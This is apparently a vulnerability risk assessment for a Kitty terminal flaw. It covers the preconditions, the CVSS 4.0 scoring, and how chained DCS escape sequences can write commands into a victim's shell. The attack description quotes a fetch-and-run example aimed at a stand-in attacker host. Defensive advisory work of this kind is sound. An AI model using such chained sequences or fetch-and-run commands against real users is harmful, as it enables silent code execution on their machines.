Kitty Terminal CVE-2026-72913

The Kitty terminal emulator (version prior to 0.48.2) must be in use as the user's terminal, and the user must display terminal data from an untrusted source - for example, by running cat on an attacker-supplied file, viewing output piped from an external process, or connecting via SSH to an untrusted remote host that sends malicious terminal sequences. Both the @kitty-echo and @kitty-ssh DCS handlers must be reached in sequence within the same Kitty window; this requires the attacker to control the terminal payload content. The attack is limited by: (1) the victim must actively view the malicious content in Kitty specifically (not any other terminal emulator), (2) the user must have an active shell session in the same Kitty window receiving the escape sequence, and (3) CVSS UI:P confirms passive user interaction is required - the user does not need to issue any explicit command, but must trigger content display.

The CVSS 4.0 score of 7.3 with vector AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H accurately captures the key risk shape: high impact triad but constrained by the requirement for passive user interaction (UI:P) and a specific attack condition (AT:P - user must display untrusted terminal data in a running Kitty session). The attack complexity is low once the delivery channel is established. No EPSS data was provided; absence of KEV listing and no known POC suggest this has not yet seen widespread exploitation. The real-world risk is moderate-to-high for users who regularly view untrusted content (log files, SSH sessions to untrusted hosts, piped output) in Kitty. The AT:P constraint is the principal risk limiter - users who only view trusted output in their terminal have minimal exposure. Conflicting signal note: AV:L in the official vector is conservative; a remote attacker can deliver the malicious escape sequence via any content channel (email attachment, web-served log, remote command output), making the realistic delivery surface broader than a strict local-only classification implies.

An attacker embeds crafted DCS escape sequences - a @kitty-echo payload containing a shell command (e.g., curl attacker.com/payload | sh) followed by a @kitty-ssh sequence that supplies the terminating newline - into a file, log stream, or SSH banner. When the victim views that content in their Kitty terminal (e.g., cat malicious.log, or connects to an attacker-controlled SSH host), the two handlers fire in sequence, writing the command and its newline to the active shell's stdin, silently executing the payload as the user.